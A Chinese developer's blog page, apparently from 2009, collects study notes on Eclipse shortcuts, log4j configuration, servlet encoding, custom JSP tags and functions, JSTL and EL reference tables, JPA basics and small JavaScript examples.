Ctrl+Shift+X 把当前选中的文本全部变味小写
Ctrl+Shift+Y 把当前选中的文本全部变为小写
Ctrl+Shift+F 格式化当前代码
Ctrl+Shift+P 定位到对于的匹配符(譬如{}) (从前面定位后面时,光标要在匹配符里面,后面到前面,则反之)
下面的快捷键是重构里面常用的,本人就自己喜欢且常用的整理一下(注:一般重构的快捷键都是Alt+Shift开头的了)
Alt+Shift+R 重命名 (是我自己最爱用的一个了,尤其是变量和类的Rename,比手工方法能节省很多劳动力)
Alt+Shift+M 抽取方法 (这是重构里面最常用的方法之一了,尤其是对一大堆泥团代码有用)
Alt+Shift+C 修改函数结构(比较实用,有N个函数调用了这个方法,修改一次搞定)
Alt+Shift+L 抽取本地变量( 可以直接把一些魔法数字和字符串抽取成一个变量,尤其是多处调用的时候)
Alt+Shift+F 把Class中的local变量变为field变量 (比较实用的功能)
Alt+Shift+I 合并变量(可能这样说有点不妥Inline)
Alt+Shift+V 移动函数和变量(不怎么常用)
Alt+Shift+Z 重构的后悔药(Undo)
Eclipse快捷键大全
Ctrl+1 快速修复(最经典的快捷键,就不用多说了)
Ctrl+D: 删除当前行
Ctrl+Alt+↓ 复制当前行到下一行(复制增加)
Ctrl+Alt+↑ 复制当前行到上一行(复制增加)
posted @
2009-11-29 22:36 junly 阅读(236) |
评论 (0) |
编辑 收藏
http://logging.apache.org/
1 导入log4j的jar包
2 在scr下创建log4j.properties
log4j.properties
//输入级别debug<info<warn<error
log4j.rootLogger=debug[info][warn][error],appender1
//ConsoleAppender输出到控制台,FileAppender输出到文件
log4j.appender.appender1=org.apache.log4j.ConsoleAppender[FileAppender]
//写出的目标文件
log4j.appender.appender1.File=c:/demllog4j.log[.html]
//写入文件的格式
log4j.appender.appender1.layout=org.apache.log4j.TTCCLayout[HTMLLayout]
例1,控制台输出:
log4j.rootLogger=debug,appender1
log4j.appender.appender1=org.apache.log4j.ConsoleAppender
log4j.appender.appender1.layout=org.apache.log4j.TTCCLayout
例2,输出到.log文件:
log4j.rootLogger=debug,appender1
log4j.appender.appender1=org.apache.log4j.FileAppender
log4j.appender.appender1.File=c:/demllog4j.log
log4j.appender.appender1.layout=org.apache.log4j.TTCCLayout
例3,输出到.html文件:
log4j.appender.appender1=org.apache.log4j.FileAppender
log4j.appender.appender1.File=c:/demllog4j.html
log4j.appender.appender1.layout=org.apache.log4j.HTMLLayout
例4,输出到.html文件同时输出到控制台:
log4j.rootLogger=error,appender1,appender2
log4j.appender.appender1=org.apache.log4j.ConsoleAppender
log4j.appender.appender2=org.apache.log4j.FileAppender
log4j.appender.appender2.File=c:/demllog4j.html
log4j.appender.appender1.layout=org.apache.log4j.TTCCLayout
log4j.appender.appender2.layout=org.apache.log4j.HTMLLayout
例5,为不同类定义输出格式
log4j.rootLogger=debug,appender1
#log4j.logger.com.liuwei=info,appender1
log4j.appender.appender1=org.apache.log4j.ConsoleAppender
log4j.appender.appender1.layout=org.apache.log4j.PatternLayout
log4j.appender.appender1.layout.ConversionPattern=%r [%t] %p - %c - %l - %m%n
3 编写代码
public class Test {
//参数为当前类的类名,得到logger
private static Logger logger=Logger.getLogger(Test.class);
public static void main(String[] args) {
//输出信息
//if(log.isDebugEnabled()){
logger.debug("sssssssss");
logger.info("ssssssss");
logger.error("ssssssssss");
//}
}
}
--------------------------------------------------------------------
log4j核心
1 Logger 完成日志信息的处理
输出级别:
debug 错误信息 if(log.isDebugEnabled()){log.debug("x="+x);}
info 日常信息 if(log.isDebugEnabled()){log.info("System started at"+new Date());}
warn 警告信息 if(log.isDebugEnabled()){log.warn("Server down-returnning");}
error 程序出错信息 if(log.isDebugEnabled()){log.error("Could not access server",e);}
2 Appender 设置日志信息的去向
org.apache.log4j.ConsoleAppender(控制台)
org.apache.log4j.FileAppender(文件)
org.apache.log4j.DailyRollingFileAppender(每天产生一个日志文件)
org.apache.log4j.RollingFileAppender(文件大小到达指定尺寸时产生一个新的文件)
org.apache.log4j.WriterAppender(将日志讯息以串流格式发送到任意指定的地方)
org.apache.log4j.JdbcAppender(将日志讯息保存到数据库中)
3 Layout 设置日志信息的输出样式
org.apache.log4j.HTMLLayout (以HTML表格形式布局)
org.apache.log4j.SimpleLayout (包含日志讯息的级别和讯息字符串)
org.apache.log4j.TTCCLayout (包含日志产生的时间、执行者、类别等等讯息)
org.apache.log4j.PatternLayout (可以灵活地指定布局模式)
PatternLayout:
-%p 输出优先级,即debug,info,warn,error
-%r 输出自应用启到到输出该日志讯息所耗费的毫秒数
-%t 输出产生该日志事件的线程名
-%f 输出日志讯息所属的类的类别名
-%c 输出日志讯息所属的类的全名
-%d 输出日志时间点的日期或时间,指定格式的方式:%d{yyyy-MM-dd HH:mm:ss}
-%l 输出日志讯息所属发生位置,即输出日志讯息的语句处于它所在的类别的第几行
-%m 输出代码中指定的讯息,如log(message)中的message
-%n 输出一个换行符号
配置文件
log4j.properties/log4j.xml
posted @
2009-11-29 22:34 junly 阅读(306) |
评论 (0) |
编辑 收藏
摘要: 1.Linux进入与退出系统
进入Linux系统:
必须要输入用户的账号,在系统安装过程中可以创建以下两种帐号:
1.root--超级用户帐号(系统管理员),使用这个帐号可以在系统中做任何事情。
2.普通用户--这个帐号供普通用户使用,可以进行有限的操作。
一般的Linux使用者均为普通用户,而系统管理员一般使用超级用户帐号完成一些系统管理的工作。如果只需要完成一...
阅读全文
posted @
2009-11-29 22:32 junly 阅读(444) |
评论 (0) |
编辑 收藏
request.setCharacterEncoding("gbk");
response.setCharacterEncoding("text/html;charset=gbk");
String name=request.getParameter("username");
name=new String (name.getBytes("iso-8859-1"),"gbk");
1 过滤器
HttpServletRequest req=(HttpServletRequest)request;
request.setCharacterEncoding("gbk");
china.do();
2 子控制器
public class ToChinese extends RequestProcessor{
public boolean processProcess(HttpServletRequest req,HttpServletRespone rep){
request.setCharacterEncoding("gb2312");
return true;
}
}
struts-config.xml
<controller processorClass="com.org.ToChinese"/>
posted @
2009-11-29 22:30 junly 阅读(239) |
评论 (0) |
编辑 收藏
自定义函数库
1 定义类和方法(方法必须是public static)
package com.bjsxt.struts;
public class MyFunctios{
public static String sayHello(String name){
return "Hello "+name;
}
}
2 编写自定义tld文件,并且将此文件放在WEB-INF或WEB-INF的任意子目录下
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"
version="2.0">
<description>my functions library</description>
<display-name>my functions</display-name>
<tlib-version>1.0</tlib-version>
<short-name>my</short-name>
<uri>http://www.bjsxt.com/functions</uri>
<function>
<name>say</name>
<function-class>com.bjsxt.struts.MyFunctions</function-class>
<function-signature>java.lang.String sayHello(java.lang.String)</function-signature>
</function>
</taglib>
3 在web.xml中注册(建意,可以不注册)
<jsp-config>
<taglib>
<taglib-uri>http://www.bjsxt.com/functions</taglib-uri>
<taglib-location>/WEB-INF/my.tld</taglib-location>
</taglib>
</jsp-config>
4 在JSP中采用taglib指令引入自定义函数库
<%@ taglib prefix="my" uri="com.bjsxt.struts.MyFunctions"%>
5 调用
${my:say("jack")}
posted @
2009-11-29 22:30 junly 阅读(450) |
评论 (0) |
编辑 收藏
定制标记库
1 编写标记处理类
public class TimerTag extends TagSupport{
private long start;
private long end;
public int doStartTag(){ //doStartTag标记开始方法
start=System.currentTimeMillis();
return EVAL_BODY_INCLUDE;//
}
public int doEndTag() throws JspTagException {//doEndTag标记结束方法
end=System.currentTimeMillis();
long elapsed=end-start;
try{
JspWriter out=pageContext.getOut();
out.println("running time:"+elapsed+"ms.");
}catch(IOException e){
throw new JspTagException(e);
}
return EVAL_PAGE;//
}
}
2 编写.tld文件
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"
version="2.0">
<description>custion web utility tags</description> //对当前标记库的描述
<tlib-version>1.0</tlib-version> //当前标记库的版本
<short-name>util</short-name> //对当前标记库使用时的前缀名称
<uri>http://163.com</uri> //可任意
<tag>
<description>calc code running time</description> //对当前标记的描述
<name>timer</name> //标记我名称
<tag-class>com.tags.TimerTag</tag-class> 当前标记对应的处理类的具体名称
<body-content>JSP</body-content> //可有empty,JSP
</tag>
</taglib>
3 使用格式
jsp页面
<%@ taglib prefix="util" uri="http://163.com" %> 添加指令
<util:timer></util:timer>
总结:
TLD是一个XML文件,在WEB-INF目录下
<taglib>根元素
<tlib-version>version</tlib-version>标记库的版本
<short-name>prefix</short-name>前缀名称
<uri>uri</uri>引用的地址
...
<tag>
<name>tagname</name>标记名称
<tag-class>classname</tag-class>标记对应的处理类
<tei-class>classname</tei-class>标记处理类的辅助处理类
<body-content>[JSP,empty,scriptless,tagdependent]</body-content>
//jsp表示标记中可以包含html,java代码,这些代码可以被运行
//empty表示标记中不包含内容
//scriptless表示标记中可以包含EL,jsp的动作代码,不可以包括JAVA脚本代码
//tagdependent表示标记中可以包含
<attribute>标记的属性
<name>pattern</name>属性的名称
<required>false</required>表示该属性是否是必须的
<rtexprvalue>false</rtexprvalue>该属性是否可以是JSP的表达式
</attribute>
</tag>
</taglib>
TagSupport运行原理(不能对标记所包含的内容进行二次加工)
BodyTagSupport运行原理(可以对开始和结束标记所包含的内容进行处理)
public int doAfterBody()throws JspTagException{
BodyContent bc=getBodyContent();取内容
String input=bc.getString();取内容
JspWriter out=bc.getEnclosingWriter();
String newContent=input;
try{
out.println(newContent);
}catch(IOException e){
throw new JspTagException(e);
}
return 1;
}
posted @
2009-11-29 22:29 junly 阅读(1494) |
评论 (0) |
编辑 收藏
Tag Library JAR
标记库打包
1 前建一个临时文件temp
2 把当前工作空间下的classes文件夹下的文件复制到temp文件夹下
3 在temp文件夹下新建WEB-INF文件夹
4 把当前项目下的WEB-INF目录下的.tld文件复到到temp中WEB-INF文件夹下
5 启用DOS,进入temp目录下
6 运行命令:jar -cvf mytags.jar *
mytags为要生成的jar文件名
*代表temp文件下的所有文件
7 其他项目要用时将该jar文件复制到项目的lib目录下就可以了
开源定制标记库
JSTL
Jakarta Taglibs http://jakarta.apache.org/taglibs/index.html
Display tag http://displaytag.sf.net
posted @
2009-11-29 22:20 junly 阅读(201) |
评论 (0) |
编辑 收藏
JSTL
------------------------------------------------------------------------------
功能领域 URI 前缀 描述
Core http://java.sun.com/jsp/jstl/core c 核心标记库
format http://java.sun.com/jsp/jstl/fmt fmt 格式化标记库-进间、日期、国际化
SQL http://java.sun.com/jsp/jstl/sql sql 对数据库的操作
XML http://java.sun.com/jsp/jstl/xml xml 对XML的操作
Functions http://java.sun.com/jsp/jstl/functions fn 函数标记库,主要是字符串
用在视图层的技术
--------------------------------------------------------------------------------
用使:
1 引用标记库
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<html>
<body>
用户名:<c:out value="${username}" />
</body>
</html>
-----------------------------------------------------------------------------------
Core核心标记库
操作变量 条件操作 循环操作 URI操作
out if forEach import
set choose forTokens url
remove when redirect转向
catch otherwise param
--------------------------------------------------------------------------------------
<c:out>标记
使用语法
1 <c:out value="vlaue" [escapeXml="{true|false}"]
[default="defaultValue"] />
2 <c:out value="vlaue" [escapeXml="{true|false}"]>
default value
</c:out>
属性
------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 | 缺省值
value | 需要输出的值,可以是EL表达式或常量 | 可以 | 是 | 无
default | value值为空时所输出的内容 | 可以 | 否 | 无
escapeXml | 为true对输出内容中的<、>、'、"和& | 可以 | 否 | true
| 字符进行转义,分别转成都市<,>, | | |
| ',"和&.为false不进行转义 | | |
------------------------------------------------------------------------
<c:set>标记
使用语法
1 <c:set value="value" var="name" [scope="{page|request|session|application}"] />
2 <c:set var="name" [scope="{page|request|session|application}"]>
value
</c:set>
3 <c:set var="name" target="target" property="propertName">
4 <c:set target="target" propert="propertyName">
value
</c:set>
3和4是给已有的对象属性赋值
属性
-----------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 | 缺省值
value | 要保存的内容,可以是EL表达式或常量 | 可以 | 是 | 无
target | 要修改属性的对象名,一般为javaBeans对象名 | 可以 | 否 | 无
property | 要修改的javaBeans的属性 | 可以 | 否 | 无
var | 要保存内容的变量名 | 否 | 是 | 无
scope | 保存内容的变量的作用范围 | 否 | 否 | page
-----------------------------------------------------------------------------
<c:remove>标记
使用语法
<c:remove var="name" [scope="{page|request|session|application}"] />
属性
------------------------------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 | 缺省值
var | 被删除的变量的名字 | 否 | 是 | 无
scope | 被删除的变量的作用范围 | 否 | 否 | page,request,session,application
------------------------------------------------------------------------------------------------
<c:catch>标记
使用语法
<c:catch [var="name"]>
body content
</c:catch>
属性
------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 | 缺省值
var | 用来保存违例信息的变量名 | 否 | 否 | 无
------------------------------------------------------------------------
例子:
<c:catch var="ex">
<%
String number="none";
int i=Integer.parseInt(number);
%>
</c:catch>
${ex}
将违例信息保存在ex变量中,如没有发生违例,则什么也不作
<c:if>标记
使用语法
1 <c:if test="condition" var="name" [scope="{page|request|session|application}"] />
2 <c:if test="condition" [var="name"] [scope="{page|request|session|application}"]>
body content
</c:if>
属性
-----------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 | 缺省值
test | 判断所要使用的条件 | 可以 | 是 | 无
var | 保存条件结果的变量的名称 | 否 | 否 | 无
scope | 保存条件结果的变量的作用范围 | 否 | 否 | page
-----------------------------------------------------------------------------
<c:choose>标记
使用语法
<c:choose>
body content(<when>and<otherwise>)
</c:choose>
<c:when>标记
使用语法
<c:when test="condition">
body content
</c:when>
属性
-----------------------------------------------------------------------------
属性名 | 描述 | 动态 | 必选 | 缺省值
test | 如果它的结果为true,执行<c:when>所包含的 | 可以 | 是 | 无
| 内容,false则不执行<c:when>所包含的内容 | | |
-----------------------------------------------------------------------------
<c:otherwise>标记
使用语法
<c:otherwise>
body content
</c:otherwise>
---------------------------------------------------------------------------
例子:
<c:choose>
<c:when test="${param.age>=70}">
70以上
</c:when>
<c:when test="${param.age>35 and param.age<70}">
35-70
</c:when>
<c:otherwise>
35以下
</c:otherwise>
</c:choose>
--------------------------------------------------------------------------------------------
<c:forEach>标记
使用语法
1 <c:forEach [var="name"] items="collection" [varStatus="varStatusName"]
[begin="begin"] [end="end"] [step="step"]>
body content
</c:forEach>
2 <c:forEach [var="name"] items="collection" [varStatus="varStatusName"]
begin="begin" end="end" [step="step"]>
body content
</c:forEach>
属性
------------------------------------------------------------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 | 类型 |缺省值
begin | 开始下标 | 可以 | 否 | int |0
end | 结束下标 | 可以 | 否 | int |集合中最后一个成员的索引
step | 步长 | 可以 | 否 | int |1
var | 代表当前成员的变量名 | 否 | 否 | String |无
items | 进得循环的集合 | 否 | 否 | String,数组,Map,Collection,Iterator,Enumeration |无
varStatus | 显示循环状态的变量 | 可以 | 否 | String |无
-------------------------------------------------------------------------------------------------------------------------------
varStatus属性
----------------------------------------------------------
名称 | 类型 | 描述
index | int | 现在所操作的成员的索引
count | int | 现在所操作的成员的总数
first | boolean | 现在所操作的成员,是否为第一个成员
last | boolean | 现在所操作的成员,是否为最后一个成员
----------------------------------------------------------
<%
String names[]=new String[4];
names[0]="afdsaf";
names[1]="dggh";
names[2]="bcbncn";
names[3]="434535";
pageContext.setAttribute("names",names);
Map map=new HashMap();
map.put("k1","v1");
map.put("k2","v2");
request.setAtrribute("map1",map);
%>
<c:forEach items="${names}" var="name" begin="1" end="2" step="1" varStatus="i">
${name } ${i.index } ${i.count } ${i.first } ${i.last }<br/>
</c:forEach>
<c:forEach items="${map1}" var="v">
${v.key } = ${v.value }<br/>
</c:forEach>
<c:forTokens>标记 将一个字符串进行分隔
使用语法
<c:forTokens items="stringOfTokens" delims="delimiters" [var="name"]
[varStatus="varStatusName"] [begin="begin"] [end="end"] [step="step"]>
body content
</c:forTokens>
属性
------------------------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 | 类型 |缺省值
items | 进行迭代处理的变量 | 可以 | 是 | String |无
delims | 分割符号 | 可以 | 是 | char |无
begin | 开始下标 | 可以 | 否 | int |0
end | 结束下标 | 可以 | 否 | int |集合中最后一个成员的索引
step | 步长 | 可以 | 否 | int |1
var | 代表当前成员的变量名 | 否 | 否 | String |无
varStatus | 显示循环状态的变量 | 否 | 否 | String |无
-------------------------------------------------------------------------------------------
<c:forTokens items="dsf:dsafsa:dsffs,dfdfs" var="name" delims=":,">
${name }<br/>
</c:forTokens>
-------------------------------------------------------------------------------------------
<c:import>标记 相当于include将另外一个页面的内容引入到当前页面来
使用语法
1 <c:import url="url" [context="context"] [var="name"] [scope="{page|request|session|application}"]
[charEncoding="charEncoding"]>
<c:param>//可传参数
</c:import>
2 <c:import url="url" [context="context"] varReader="varReaderName"
[charEncoding="charEncoding"]>
body content//内容
</c:import>
属性
------------------------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 |缺省值
url | 需要导入页面url地址 | 是 | 是 |无
context | 本地web应用的名字 | 是 | 否 |当前应用的名子
charEncoding | 设置导入数据的字符编码 | 是 | 否 |ISO-8859-1
var | 接受导入文本的变量的名称 | 否 | 否 |无
scope | 接受导入文本内容的变量的作用范围 | 否 | 否 |page
varReader | 用于接受导入文本的java.io.Reader变量的名称 | 否 | 否 |无
-------------------------------------------------------------------------------------------
<c:url>标记 创建链接
使用语法
1 <c:url value="value" [context="context"] [var="name"] [scope="{page|request|session|application}"] />
2 <c:url value="value" [context="context"] [var="name"] [scope="{page|request|session|application}"] />
<c:param />
</c:url>
属性
------------------------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 |缺省值
value | url地址 | 是 | 是 |无
context | web应用的名字 | 是 | 否 |当前web应用的名子
var | 保存url地址的变量的名称 | 否 | 否 |输出到当前页面
scope | 存储url地址的变量的作用范围 | 否 | 否 |page
-------------------------------------------------------------------------------------------
<c:url var="website" value="http://localhost:8080/webproject/out.jsp">
<c:param name="p" value="hello" />
</c:url>
${website }<br>
<a href=" ${website }">dddd</a>
--------------------------------------------------------------------------------
<c:redirect>标记 页面跳转
使用语法
1 <c:redirect url="value" [context="context"] />
2 <c:redirect url="value" [context="context"]>
<c:param />
</c:redirect>
属性
------------------------------------------------------------------------------------------
属性名 | 描述 | 必选 |缺省值
url | url地址 | 是 |无
context | 要转向到的web应用的名字 | 否 |当前web应用的名子
-------------------------------------------------------------------------------------------
<c:redirect url="LoopTag.jsp">
<c:param name="p" value="aa" />
</c:redirect>
-------------------------------------------------------------------------------
Format标记库
-----------------------------------------
国际化有关 | 时间日期有关(一般不在页面作处理)
setLocale | formatNumber
requestEncoding | formatDate
bundle | parseDate
message | parseNumber
param | setTimeZone
setBundle | timeZone
-----------------------------------------
<fmt:setLocale>标记 设置国际化语言
使用语法
<fmt:setLocale value="locale" [variant="variant"] [scope="{page|request|session|application}"] />
属性
---------------------------------------------------------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 |缺省值
value | 表示该语言环境的一个字符串,或者是java.util.Locale类的对象 | 可以 | 是 |无
scope | 指定这个对象的作用范围,有效值为page,requset,session,applicattion | 否 | 否 |page
variant | 进一步针对特定的平台或供应商定制语言环境。如,MAC和WIN分别对应Macintosh和Windows平台 | 可以 | 否 |无
---------------------------------------------------------------------------------------------------------------------------
<fmt:setBundle>标记 设定国际化资源束的位置
使用语法
<fmt:setBundle basename="basename" [var="name"] [scope="{page|request|session|application}"] />
属性
---------------------------------------------------------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 |缺省值
basename | 设置使用的资源文件束文件的路径与名称,不应当包含任保本地化后缀或文件扩展名 | 可以 | 是 |无
var | 设置了该属性,那么将把basename属性所标识的资源束赋给该属性值所命名的变量 | 否 | 否 |无
scope | 指明缺省资源束设置所应用的JSP作用域 | 否 | 否 |page
---------------------------------------------------------------------------------------------------------------------------
束文件名resources_zh_CN.properties(basename属性)
<fmt:setBundle basename="com.v512.examples.resources" />
<fmt:bundle>标记 设定某个页面或某几行国际化资源束的位置
使用语法
<fmt:bundle basename="basename" [prefix="prefix"]>
body content
<fmt:bundle>
属性
---------------------------------------------------------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 |缺省值
basename | 设置使用的资源文件束文件的路径与名称,不应当包含任保本地化后缀或文件扩展名 | 可以 | 是 |无
prefix | 为所嵌套的<fmt:message>标记的key值指定缺省前缀 | 可以 | 否 |无
---------------------------------------------------------------------------------------------------------------------------
<fmt:message>标记 (核心)设置资料束文件中的KEY和对应的内容
使用语法
1 <fmt:message key="messageKey" [bundle="resourceBundle"] [var="varName"] [scope="{page|request|session|application}"] />
2 <fmt:message [bundle="resourceBundle"] [var="varName"] [scope="{page|request|session|application}"]>
key
[<fmt:param>]
</fmt:message>
属性
-----------------------------------------------------------------------------------------------------------------------------------------------
属性名 | 描述 | EL | 必选 |缺省值
key | 用来确定在资源束中定义哪个文本消息进行输出显示 | 可以 | 是 |无
bundle | 用来指定一个显式的资源束,用来查找由key属性标识的消息.请注意,该属性的值必须是实际的资源束. | 可以 | 否 |无
| 如当指定<fmt:setBundle>操作的var属性时同该标记所赋予的资源束.<fmt:message>的bundle属性不支持字符串值
var | 该标记所生成的文本消息赋给指定的变量,而不是输出到JSP页面中 | 否 | 否 |无
scope | 由来指定的var属性指定的变量的作用域,有效值:page,request,session,application | 否 | 否 |page
-----------------------------------------------------------------------------------------------------------------------------------------------
<fmt:requestEncoding>标记 设置编码方式
使用语法
<fmt:requestEncoding [value="charsetName"] />
作用等同于
request.setCharacterEncoding()
--------------------------------------------------------------------------------
<fmt:param>标记 设置编码方式
使用语法
1 <fmt:param value="messageParameter" />
2 <fmt:param>
body content
</fmt:param>
-----------------------------------------------------------------
<fmt:formatDate> 标记
使用方法:
<fmt:formatDate value="${today}" type="date" />
<fmt:formatDate value="${today}" dateStyle="full" />
<fmt:formatDate value="${today}" pattern="yyyy/MM/dd HH:mm:ss" />
<fmt:formatDate value="${today}" pattern="yyyy/MM/dd HH:mm:ss" var="d"/>
----------------------------------------------------------------------------
属性名 | 描述 | 值 |结果
value | 要格式化的日期值 | default |2008-8-1
type | 显现的日期格式 | date |2008-8-1
| | time |14:47:59
| | both |2008-8-1 14:47:59
dateStyle | 显现的日期格式 | short |08-8-1
| | medium |2008-8-1
| | long |2008年8月1日
| | full |2008年8月1日 星期一
pattern | 定义日期格式 |yyy/MM/dd HH:mm:ss |2008/08/01 14:47:59
var | 保存值变量名 | |
scope | 保存变量的scope | |
-----------------------------------------------------------------------------
<fmt:formatNumber> 标记
<fmt:formatNumber value="${n}" pattern="###,###.##"/>
<fmt:formatNumber value="${n}" pattern="###,###.0000"/>
----------------------------------------------------------------------------
属性名 | 描述 | 值 |结果
value | 要格式化的日期值 | default |123,456.123
type | 显现的数据格式 | number(数字) |123,456.123
| | currency(货币) |¥123,456.123
| | percent(百分比) |23.33%
groupingUsed| 是否分组显示 | true/false |
pattern | 定义数据格式 |###,###.## |123,456.123
| |###,###.0000 |123,456.1230
var | 保存值变量名 | |
scope | 保存变量的scope | |
-----------------------------------------------------------------------------
<format>标记例子
1 建立resources.properties文件(英文)
内容:guestbook.display.welcome=welcome to my website
2 建立resources.properties_zh_CN.properties文件(中文)
方法:
(1)在临时目录下建立一个临时文件resources_t.properties
内容:guestbook.display.welcome=欢迎大家访问网站
(2)在DOS下进行该临时目录,执行DOS命今
c:\temp>native2ascii -encoding uft-8 resources_t.properties resources_zh_CN.properties
(3)将转换好的文件复制到项目目录下
3 建立JSP页面
<%@ taglib uri="http://java.sun.com/jsp/jstl/fmt" prefix="fmt" %>
fmt:bundle basename="com.tags.resources">
<fmt:message key="guestbook.display.welcome">
</fmt:message>
</fmt:bundle>
-----------------------------------------------------------------------------------------------------------
<sql>标签
<setDatasource>
<update>
<query>
<param>
1 导入sql的jar包
<%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql" %>
<sql:setDataSource driver="" url="" user="" password="" var="" scope=""/>
<sql:update var="oerder" dataSource="${conn}">
insert into BookOrder(username,zipcode,phone,creditcard,total)
values(?,?,'88888833333','123432432423',50.00)
<sql:param value="accp"/>
<sql:param value="1111"/>
</sql:update>
<sql:query var="rs" dataSource="${conn}">
select * from aa
</sql:query>
<C:forEach var="row" items="${rs.rows}">
${row.username} ${row.password}
</c:forEach>
posted @
2009-11-29 22:19 junly 阅读(331) |
评论 (0) |
编辑 收藏
jsp:include
<jsp:include page="/include.jsp"></jsp:include>动作
<%@ include file="/footer.html"%>//指今
jsp:forward
1 <jsp:forward page="/include.jsp" />
2 <%
RequestDispatcher rd=request.getRequestDispatcher("/imclude.jsp");
rd.forward(request,response);
%>
1和2结果相同
posted @
2009-11-29 22:04 junly 阅读(206) |
评论 (0) |
编辑 收藏
javaBean
* 封装数据
* 封装业务方法
<jsp:useBean/>
<jsp:useBean id="" class="" scope=""/>
class属性必须打包,scope默认为page
<jsp:setProperty/>
<jsp:setProperty name="user" property="*"/>
多个form属性自动匹配
<jsp:getProperty/>
<jsp:forward/>
<jsp:forward page="b.jsp"/>//相当于request.getRequestDispatcher
<jsp:include/>
区分大小写
posted @
2009-11-29 22:03 junly 阅读(196) |
评论 (0) |
编辑 收藏
//EL 的基本用法
类型 | 示例 | 对应的调用方法
javaBeans | ${user.username}* | user.getUsername()
| ${user["username"]} |
| ${user['username']} | sport[1]
数组 | ${sport[1]}* |
| ${sport['1']} |
| ${sport["1"]} |
List | ${address[2]}* | address.get(2)
| ${address['2']} |
| ${address["2"]} |
Map | ${phone["home"]} | phone.get("home")
| ${phone['home']} |
| ${phone.home}* |
//EL的内置对象(与JSP有区加别,只能在EL中使用,不能用在JSP中,名称不同但指同一个内容)
pageContext 对应JSP中当前页面上下文的对象
pageScope 对应JSP中page对象
requestScope 对应JSP中request对象
sessionScope 对应JSP中session对象
applicationScope 对应JSP中application对象
param 对应页面传值的对象
paramValues 对应页面传来一组值的对象
header 对应页面头信息的值对象
headerValues 对应页面头信息的数组对象
<%= session.getAttribute("phone")%>
等价于:
${sessionScope.phone}
cookie对应cookie对象的值
initParam对应设定的初始参数的值
//设定JSP不使用JSP EL
当前面页不使用
<%@page isELIgnored="true"%>
整个WEB应用不使用JSP EL
修改web.xml
<web-app...>
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
</web-app>
----------------------------------------------------
pageContext.setAttribute("username",null)//false
pageContext.setAttribute("username","")//false
${empty username}//判断username是否为空
---------------------------------------------------
pageContext.setAttribute("username","janly")
request.setAttribute("username","janly")
session.setAttribute("username","janly")
application.setAttribute("username","janly")
${pageScope.username}
${requestScope.username}
${sessionScope.username}
${applicationScope.username}
${username}按作用域范围找查
-----------------------------------------
web.xml
<context-param>
<param-name>repeat</param-name>
<param-value>100</param-value>
</context-param>
${initParam.repeat}
${param.username}
---------------------------------
posted @
2009-11-29 22:02 junly 阅读(190) |
评论 (0) |
编辑 收藏
一 导包
二 在WEB-INF下加配置文件persistence.xml
1 提供者
2 类
3 数据库
三 在实体类中加JPA注记
@Enttity
@Table(name="t_user")
public class Users{}
主键标在get方法前
@Id
@GeneratedValue(strategy=GenerationType.AUTO[IDENTITY])
@Column(name="d")
public int getId(){}
关系
@OneToOne(cascade="")
@OneToMany()
private Set users=new HashSet();
import javax.
@Test public void testMM(){
EntityManagerFactory emf=Persistence.createEntityManagerFactory("配置文件中jpa名");
EntityManager em=emf.createEntityManager();
//Custems c=em.find(Custems.class,1);
Query query=em.createQuery("");
List<Custems> custems=query.getResultList();
Custems custem=query.getSingleRusult();
EntityTransaction et=em.getTransaction();
te.begin();
em.persist(new Custems());//加
em.setCname("aaa");
em.merge(custems);//修改
em.remove(custems);//删
te.commit();
}
-------------------------------------------------------
JpaDaoSupport
<bean id="dao" class="org.my doa.CustemsDao">
<property name="entityManagerFactiory" ref=""/>
</bean>
posted @
2009-11-29 21:58 junly 阅读(224) |
评论 (0) |
编辑 收藏
<script type=text/javascript>
<!--
function MyImageA()
{
document.all.MyPic.src="C:\Documents and Settings\All Users\Documents\My Pictures\示例图片\Sunset.jpg";
}
function MyImageB()
{
document.all.MyPic.src="C:\Documents and Settings\All Users\Documents\My Pictures\示例图片\Blue hills.jpg";
}
-->
</script>
<img name=MyPic id="MyPic " src="C:\Documents and Settings\All Users\Documents\My Pictures\示例图片\Sunset.jpg" width=300 height=200></img>
<script type=text/javascript>
document.all.MyPic.onmouseover=MyImageA;
document.all.MyPic.onmouseout=MyImageB;
</script>
posted @
2009-11-29 21:55 junly 阅读(278) |
评论 (0) |
编辑 收藏
<script language="javascript">//arguments对象(参数对象)
///arguments对象(参数对象)
function testParams()
/*{
var params="";
for(var i=0;i<arguments.length;i++)
{
params+=" "+arguments[i];
}
alert(params);
}
testParams("abc",123);
testParams(123,456,"abc");*/
</script>
<script language="javascript">//创建动态函数
///创建动态函数
//var square=new Function("x","y","var sum;sum=x*x+y*y;return sum;");
//等同于
/*function square(x,y)
{
return x*x+y*y;
}
alert(square(2,3));*/
//encodeURI方法(url字符编号)
/*var urlStr = encodeURI("http://www.it315.org/imdex.html?country=中国&name=z x");
alert(urlStr);*/
//decodeURI方法(对已编号的url进行解号)
/*urlStr = decodeURI("http://www.it315.org/imdex.html?country=%E4%B8%AD%E5%9B%BD&name=z%20x");
alert(urlStr);*/
//parseInt方法
//parseFloat方法
//isNaN方法
